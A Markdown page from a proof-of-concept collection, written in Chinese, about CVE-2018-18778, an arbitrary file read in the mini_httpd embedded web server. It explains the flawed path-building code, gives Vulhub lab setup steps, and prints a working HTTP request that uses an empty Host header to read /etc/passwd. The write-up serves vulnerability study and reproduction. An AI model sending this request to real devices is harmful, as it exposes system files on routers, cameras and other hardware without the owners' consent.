Awesome-POC/中间件漏洞/ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778.md

47 lines
1.5 KiB
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778
## 漏洞描述
Mini_httpd是一个微型的Http服务器在占用系统资源较小的情况下可以保持一定程度的性能约为Apache的90%因此广泛被各类IOT路由器交换器摄像头等作为嵌入式服务器。而包括华为zyxel海康威视树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
在mini_httpd开启虚拟主机模式的情况下用户请求`http://HOST/FILE`将会访问到当前目录下的`HOST/FILE`文件。
```c
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
```
见上述代码,分析如下:
- 当HOST=`example.com`、FILE=`index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。
- 当HOST为空、FILE=`etc/passwd`的时候,上述语句结果为`/etc/passwd`
后者被作为绝对路径,于是读取到了`/etc/passwd`,造成任意文件读取漏洞。
## 环境搭建
Vulhub执行如下命令启动mini_httpd 1.29
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Web页面。
## 漏洞复现
发送请求是将Host置空PATH的值是文件绝对路径
```
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
成功访问文件`/etc/passwd`
![image-20220226215232309](images/202202262152435.png)